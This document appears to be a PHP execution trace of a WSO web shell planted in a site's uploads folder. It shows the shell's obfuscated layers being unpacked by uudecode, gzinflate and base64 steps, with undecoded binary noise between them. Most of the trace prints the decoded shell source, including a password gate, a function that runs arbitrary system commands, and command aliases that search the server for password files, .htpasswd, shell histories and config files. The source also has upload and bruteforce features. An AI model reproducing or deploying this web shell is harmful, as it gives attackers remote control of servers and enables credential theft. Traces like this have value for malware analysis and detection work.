'M?8W+;H,P%$3_!67\'QB9@&D4L@&""D[@8&THDKX!2\'I%*6]02OCXF2J6NNIH[\nMFCEW5A-(YMC1Y(0,"4TH)WNM;DLB))$I)ZM6SE2)I70MH67_>FV[6EAV9VT)\nM;<5;BD>O*D5*R\\>_O^U$M:&Y+-2JC214,_??"_W8@VCQUK^[GS-P-"&`F>&O\nMCH<>BZ[L6\\Q)3$//.W:-./BDB\'C0LF#<1VWEYWST*!\\*@EV#!,WI"&E,`.@R\nM.(8\\PV>63KOH9Z"L?],/_5#P"_\'R##/2!1\\O.`!).M6D+X=$T/2Y)55LN&T&\nM2)7[A(K+N,_F375,RZN8F7["7I`",+!=4OEM4W\'#U6GZM,D[B//0/9S==T?;\n"W@``\n`\n' 5 16 0 0.005184 605216 convert_uudecode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'M?8W+;H,P%$3_!67\'QB9@&D4L@&""D[@8&THDKX!2\'I%*6]02OCXF2J6NNIH[\nMFCEW5A-(YMC1Y(0,"4TH)WNM;DLB))$I)ZM6SE2)I70MH67_>FV[6EAV9VT)\nM;<5;BD>O*D5*R\\>_O^U$M:&Y+-2JC214,_??"_W8@VCQUK^[GS-P-"&`F>&O\nMCH<>BZ[L6\\Q)3$//.W:-./BDB\'C0LF#<1VWEYWST*!\\*@EV#!,WI"&E,`.@R\nM.(8\\PV>63KOH9Z"L?],/_5#P"_\'R##/2!1\\O.`!).M6D+X=$T/2Y)55LN&T&\nM2)7[A(K+N,_F375,RZN8F7["7I`",+!=4OEM4W\'#U6GZM,D[B//0/9S==T?;\n"W@``\n`\n' 5 16 1 0.005209 605568 5 16 R '}n0\024D\005e&`\032E,`\030\033J$R\036J[\022>&J;9wV\023H\f\tM(\'{nK"$)\'VTt-ezmZXvgm\tm[G*EJǿD,Ԫ$T3\v؃hֿ3p4!ᯎ\036[ILC;v8xв`Gm|(\037\n]\004\biL\00028&J;9wV\023H\f\tM(\'{nK"$)\'VTt-ezmZXvgm\tm[G*EJǿD,Ԫ$T3\v؃hֿ3p4!ᯎ\036[ILC;v8xв`Gm|(\037\n]\004\biL\00028*J[JRA]QP&1*XQ4EL_&G)E3T:"]?`"WB]\\"MN[GW?]-G2O4>0PDSM)@4]\n(]K`>5O=^=E\\`\n`\n' 5 20 0 0.005504 606320 convert_uudecode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'M=8T[#H`P#$/O4O4`A.8S("[!!"@KG"\'B]+A5*[$P6$HL/SO\'M#W[FIQXALC#\nMBH>*J[JRA]QP&1*XQ4EL_&G)E3T:"]?`"WB]\\"MN[GW?]-G2O4>0PDSM)@4]\n(]K`>5O=^=E\\`\n`\n' 5 20 1 0.005525 606512 5 20 R 'u;\0160\fCR\0003 .\004(+!U+0XJ,?;Ǵ=xÊp\031\022Iliɕ=\032\v\vx+n}ҽGL&\005=\036V~v_' 5 21 0 0.005552 606256 gzinflate 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'u;\0160\fCR\0003 .\004(+!U+0XJ,?;Ǵ=xÊp\031\022Iliɕ=\032\v\vx+n}ҽGL&\005=\036V~v_' 5 21 1 0.005583 606512 5 21 R '$x0RzX="\\142\\141\\x73\\x65\\66\\64\\x5f\\144\\145\\x63\\157\\144\\145";$x0RzY="\\147\\172\\151\\x6e\\146\\154\\141\\x74\\145";$x0RzZ="\\143\\157\\156\\166\\145\\162\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\144\\145";' 4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 $x0RzU = '$x0RzX="\\142\\141\\x73\\x65\\66\\64\\x5f\\144\\145\\x63\\157\\144\\145";$x0RzY="\\147\\172\\151\\x6e\\146\\154\\141\\x74\\145";$x0RzZ="\\143\\157\\156\\166\\145\\162\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\144\\145";' 5 22 0 0.005633 606984 eval 1 '$x0RzX="\\142\\141\\x73\\x65\\66\\64\\x5f\\144\\145\\x63\\157\\144\\145";$x0RzY="\\147\\172\\151\\x6e\\146\\154\\141\\x74\\145";$x0RzZ="\\143\\157\\156\\166\\145\\162\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\144\\145";' /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 0 5 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 1 $x0RzX = 'base64_decode' 5 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 1 $x0RzY = 'gzinflate' 5 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 1 $x0RzZ = 'convert_uudecode' 5 22 1 0.005692 606984 5 23 0 0.005700 606336 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'TVcvVTs8Xis8VUI6KFdOXT9MOipCNVQxVVEtWz0uRCFeS1tOQytBKiNBLjY0MicyOCRLSCMxKj4sKSRTOgpNSSkmSUovXl5RUy9GRSlgUD1DSz9NO1tKV09OK0pFQyk6XSFBU0MnJ1wxRy8+L0JfX08lP0dQXS9eXD9HCk1fX0pfLy5AL19eXV9fKT85Wk9fWl07UT4nQVg+PV9fOC9TVl4vJjI7WyFeS1VXXSROVitXPi1RRUZZPicKTV0+OytYIV9fR1ddODNZTy0vVjpbXEYmV148P1daPz1fLStdXD8vSE9fXkxfX01NX15cP19NMlI/LV9fSwpNL19bWy9fKy0sTUxcXz0/X1xOVTE3Tz9fXiQ9Xi4uU19DX19dP19eNT8xR1w7Xk8nWkdfXytfX0tfX0YvCk1bJidTN15FX19MPF9fTyZfUyMxTS1NL15WWl5HLE1OTCdbLy0/X1RPX19QUlQ/X1knVV9fXjw3WElWJ10KTVxcT1hHVV9UWDNe' 5 23 1 0.006010 704672 5 23 R 'MW/U;<^+,)$S:\nMI)&IJ/^^QS/FE)`P=CK?M;[JWON+JEC):]!ASC\'\'\\1G/>/B__O%?GP]/^\\?G\nM__J_/.@/_^]__)?9ZO_Z];Q>\'AX>=__8/SV^/&2;[!^KUW]$NV+W>-QEFY>\'\nM]>;+X!__GW]83YO-/V:[\\F&W^,)$S:\nMI)&IJ/^^QS/FE)`P=CK?M;[JWON+JEC):]!ASC\'\'\\1G/>/B__O%?GP]/^\\?G\nM__J_/.@/_^]__)?9ZO_Z];Q>\'AX>=__8/SV^/&2;[!^KUW]$NV+W>-QEFY>\'\nM]>;+X!__GW]83YO-/V:[\\F&W^\'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), \n $OO0O00($O0O000,0,$OO0000))));' /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 4 0 6 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 1 $O0O000 = 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZbnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqBzY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0K' 7 31 0 0.016803 1203872 substr 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 2 2 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZbnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqBzY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0K' 104 7 31 1 0.016901 1302240 7 31 R 'zY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0KvQndvO0dBRWFBCM7QkndvQndvQndxtIevY0dB2o0BR52KQxCJw1zoboVGwJbwkvcHeSdvQndVGSdvQndNao0ApxrvQJcNYfKVGSqgQn9' 7 32 0 0.016992 1302176 substr 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 2 3 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZbnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqBzY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0K' '52' '52' 7 32 1 0.017077 1302352 7 32 R 'bnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqB' 7 33 0 0.017097 1302256 substr 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 3 3 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZbnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqBzY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0K' 0 '52' 7 33 1 0.017181 1302432 7 33 R 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZ' 7 34 0 0.017200 1302336 strtr 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 3 3 'zY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0KvQndvO0dBRWFBCM7QkndvQndvQndxtIevY0dB2o0BR52KQxCJw1zoboVGwJbwkvcHeSdvQndVGSdvQndNao0ApxrvQJcNYfKVGSqgQn9' 'bnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqB' 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZ' 7 34 1 0.017334 1400736 7 34 R 'PD9waHAKZnVuY3Rpb24gR2V0SVAoKXsKICAgIGlmKGdldGVudigiSFRUUF9DTElFTlRfSVAiKSkgewogICAgICAgICRpcCA9IGdldGVudigiSFRUUF9DTElFTlRfSVAiKTsKICAgIH0gZWxzZWlmKGdldGVudigiSFRUUF9YX0ZPUldBUkRFRF9GT1IiKSkgewogICAgICAgICRpcCA9IGdldGVudigiSFRUUF9YX0ZPUldBUkRFRF9GT1IiKTsKICAgICAgICBpZiAoc3Ryc3RyKCRpcCwgJywnKSkgewogICAgICAgICAgICAkdG1wID0gZXhwbG9kZSAoJywnLCAkaXApOwogICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbMF0pOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOwogICAgfQogICAgcmV0dXJuICRpcDsKfQokeCA9' 7 35 0 0.017423 1302176 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 3 1 'PD9waHAKZnVuY3Rpb24gR2V0SVAoKXsKICAgIGlmKGdldGVudigiSFRUUF9DTElFTlRfSVAiKSkgewogICAgICAgICRpcCA9IGdldGVudigiSFRUUF9DTElFTlRfSVAiKTsKICAgIH0gZWxzZWlmKGdldGVudigiSFRUUF9YX0ZPUldBUkRFRF9GT1IiKSkgewogICAgICAgICRpcCA9IGdldGVudigiSFRUUF9YX0ZPUldBUkRFRF9GT1IiKTsKICAgICAgICBpZiAoc3Ryc3RyKCRpcCwgJywnKSkgewogICAgICAgICAgICAkdG1wID0gZXhwbG9kZSAoJywnLCAkaXApOwogICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbMF0pOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOwogICAgfQogICAgcmV0dXJuICRpcDsKfQokeCA9' 7 35 1 0.017732 1400512 7 35 R '
Password: >\'>
");\n}\n\nfunction WSOsetcookie($k, $v) {\n $_COOKIE[$k] = $v;\n setcookie($k, $v);\n}\n\nif(!empty($auth_pass)) {\n if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']), $auth_pass);\n\n if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $auth_pass))\n wsoLogin();\n}\n\nif(strtolower(substr(PHP_OS,0,3)) == "win")\n\t$os = \'win\';\nelse\n\t$os = \'nix\';\n\n$safe_mode = @ini_get(\'safe_mode\');\nif(!$safe_mode)\n error_reporting(0);\n\n$disable_functions = @ini_get(\'disable_functions\');\n$home_cwd = @getcwd();\nif(isset($_POST[\'c\']))\n\t@chdir($_POST[\'c\']);\n$cwd = @getcwd();\nif($os == \'win\') {\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\n\t$cwd = str_replace("\\\\", "/", $cwd);\n}\nif($cwd[strlen($cwd)-1] != \'/\')\n\t$cwd .= \'/\';\n\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$default_use_ajax;\n\nif($os == \'win\')\n\t$aliases = array(\n\t\t"List Directory" => "dir",\n \t"Find index.php in current dir" => "dir /s /w /b index.php",\n \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n \t"Show active connections" => "netstat -an",\n \t"Show running services" => "net start",\n \t"User accounts" => "net user",\n \t"Show computers" => "net view",\n\t\t"ARP Table" => "arp -a",\n\t\t"IP Configuration" => "ipconfig /all"\n\t);\nelse\n\t$aliases = array(\n \t\t"List dir" => "ls -lha",\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\n \t\t"show opened ports" => "netstat -an | grep -i listen",\n "process status" => "ps aux",\n\t\t"Find" => "",\n \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\n \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\n \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\n \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\n \t\t"find config* files" => "find / -type f -name \\"config*\\"",\n \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\n \t\t"find all writable folders and files" => "find / -perm -2 -ls",\n \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\n \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\n \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\n \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\n \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\n \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\n \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\n \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n\t\t"Locate" => "",\n \t\t"locate httpd.conf files" => "locate httpd.conf",\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\n\t\t"locate my.conf files" => "locate my.conf",\n\t\t"locate admin.php files" =>"locate admin.php",\n\t\t"locate cfg.php files" => "locate cfg.php",\n\t\t"locate conf.php files" => "locate conf.php",\n\t\t"locate config.dat files" => "locate config.dat",\n\t\t"locate config.php files" => "locate config.php",\n\t\t"locate config.inc files" => "locate config.inc",\n\t\t"locate config.inc.php" => "locate config.inc.php",\n\t\t"locate config.default.php files" => "locate config.default.php",\n\t\t"locate config* files " => "locate config",\n\t\t"locate .conf files"=>"locate \'.conf\'",\n\t\t"locate .pwd files" => "locate \'.pwd\'",\n\t\t"locate .sql files" => "locate \'.sql\'",\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\n\t\t"locate backup files" => "locate backup",\n\t\t"locate dump files" => "locate dump",\n\t\t"locate priv files" => "locate priv"\n\t);\n\nfunction wsoHeader() {\n\tif(empty($_POST[\'charset\']))\n\t\t$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\n\tglobal $color;\n\techo "" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . WSO_VERSION ."\n\n\n
\n
\n\n\n\n\n\n\n
";\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n\t$totalSpace = $totalSpace?$totalSpace:1;\n\t$release = @php_uname(\'r\');\n\t$kernel = @php_uname(\'s\');\n\t$explink = \'http://exploit-db.com/search/?action=search&filter_description=\';\n\tif(strpos(\'Linux\', $kernel) !== false)\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\n\telse\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\n\tif(!function_exists(\'posix_getegid\')) {\n\t\t$user = @get_current_user();\n\t\t$uid = @getmyuid();\n\t\t$gid = @getmygid();\n\t\t$group = "?";\n\t} else {\n\t\t$uid = @posix_getpwuid(posix_geteuid());\n\t\t$gid = @posix_getgrgid(posix_getegid());\n\t\t$user = $uid[\'name\'];\n\t\t$uid = $uid[\'uid\'];\n\t\t$group = $gid[\'name\'];\n\t\t$gid = $gid[\'gid\'];\n\t}\n\n\t$cwd_links = \'\';\n\t$path = explode("/", $GLOBALS[\'cwd\']);\n\t$n=count($path);\n\tfor($i=0; $i<$n-1; $i++) {\n\t\t$cwd_links .= "".$path[$i]."/";\n\t}\n\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n\t$opt_charsets = \'\';\n\tforeach($charsets as $item)\n\t\t$opt_charsets .= \'\';\n\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\n\tif(!empty($GLOBALS[\'auth_pass\']))\n\t\t$m[\'Logout\'] = \'Logout\';\n\t$m[\'Self remove\'] = \'SelfRemove\';\n\t$menu = \'\';\n\tforeach($m as $k => $v)\n\t\t$menu .= \'[ \'.$k.\' ]\';\n\n\t$drives = "";\n\tif($GLOBALS[\'os\'] == \'win\') {\n\t\tforeach(range(\'c\',\'z\') as $drive)\n\t\tif(is_dir($drive.\':\\\\\'))\n\t\t\t$drives .= \'[ \'.$drive.\' ] \';\n\t}\n\techo \'\'\n . \'\'\n . \'
Uname:
User:
Php:
Hdd:
Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'
Drives:\':\'\') . \'		\' . substr(@php_uname(), 0, 120) . \' [exploit-db.com]
\' . $uid . \' ( \' . $user . \' ) Group: \' . $gid . \' ( \' . $group . \' )
\' . @phpversion() . \' Safe mode: \' . ($GLOBALS[\'safe_mode\']?\'ON\':\'OFF\')\n . \' [ phpinfo ] Datetime: \' . date(\'Y-m-d H:i:s\') . \'
\' . wsoViewSize($totalSpace) . \' Free: \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)
\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' [ home ]
\' . $drives . \'
Server IP:
\' . @$_SERVER["SERVER_ADDR"] . \'
Client IP:
\' . $_SERVER[\'REMOTE_ADDR\'] . \'
\'\n . \'\' . $menu . \'
\';\n}\n\nfunction wsoFooter() {\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" (Writeable)":" (Not writable)";\n echo "\n
\n\n\t\n\t\t\n\t\t\n\t\n\t\t\n\t\t\n\t\n\t\t\n\t\t\n\t
Change dir:
>\'>
Read file:
>\'>
Make dir:$is_writable
>\'>
Make file:$is_writable
>\'>
Execute:
>\'>
\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tUpload file:$is_writable
>\'>

";\n}\n\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {\n function posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {\n function posix_getgrgid($p) {return false;} }\n\nfunction wsoEx($in) {\n\t$out = \'\';\n\tif (function_exists(\'exec\')) {\n\t\t@exec($in,$out);\n\t\t$out = @join("\\n",$out);\n\t} elseif (function_exists(\'passthru\')) {\n\t\tob_start();\n\t\t@passthru($in);\n\t\t$out = ob_get_clean();\n\t} elseif (function_exists(\'system\')) {\n\t\tob_start();\n\t\t@system($in);\n\t\t$out = ob_get_clean();\n\t} elseif (function_exists(\'shell_exec\')) {\n\t\t$out = shell_exec($in);\n\t} elseif (is_resource($f = @popen($in,"r"))) {\n\t\t$out = "";\n\t\twhile(!@feof($f))\n\t\t\t$out .= fread($f,1024);\n\t\tpclose($f);\n\t}\n\treturn $out;\n}\n\nfunction wsoViewSize($s) {\n if (is_int($s))\n $s = sprintf("%u", $s);\n \n\tif($s >= 1073741824)\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n\telseif($s >= 1048576)\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n\telseif($s >= 1024)\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n\telse\n\t\treturn $s . \' B\';\n}\n\nfunction wsoPerms($p) {\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\n\telse $i = \'u\';\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n\treturn $i;\n}\n\nfunction wsoPermsColor($f) {\n\tif (!@is_readable($f))\n\t\treturn \'\' . wsoPerms(@fileperms($f)) . \'\';\n\telseif (!@is_writable($f))\n\t\treturn \'\' . wsoPerms(@fileperms($f)) . \'\';\n\telse\n\t\treturn \'\' . wsoPerms(@fileperms($f)) . \'\';\n}\n\nfunction wsoScandir($dir) {\n if(function_exists("scandir")) {\n return scandir($dir);\n } else {\n $dh = opendir($dir);\n while (false !== ($filename = readdir($dh)))\n $files[] = $filename;\n return $files;\n }\n}\n\nfunction wsoWhich($p) {\n\t$path = wsoEx(\'which \' . $p);\n\tif(!empty($path))\n\t\treturn $path;\n\treturn false;\n}\n\nfunction actionSecInfo() {\n\twsoHeader();\n\techo \'

Server security information

\';\n\tfunction wsoSecParam($n, $v) {\n\t\t$v = trim($v);\n\t\tif($v) {\n\t\t\techo \'\' . $n . \': \';\n\t\t\tif(strpos($v, "\\n") === false)\n\t\t\t\techo $v . \'
\';\n\t\t\telse\n\t\t\t\techo \'
\' . $v . \'
\';\n\t\t}\n\t}\n\n\twsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n if(function_exists(\'apache_get_modules\'))\n wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n\twsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n\twsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n\twsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n\twsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n\twsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n\t$temp=array();\n\tif(function_exists(\'mysql_get_client_info\'))\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\n\tif(function_exists(\'mssql_connect\'))\n\t\t$temp[] = "MSSQL";\n\tif(function_exists(\'pg_connect\'))\n\t\t$temp[] = "PostgreSQL";\n\tif(function_exists(\'oci_connect\'))\n\t\t$temp[] = "Oracle";\n\twsoSecParam(\'Supported databases\', implode(\', \', $temp));\n\techo \'
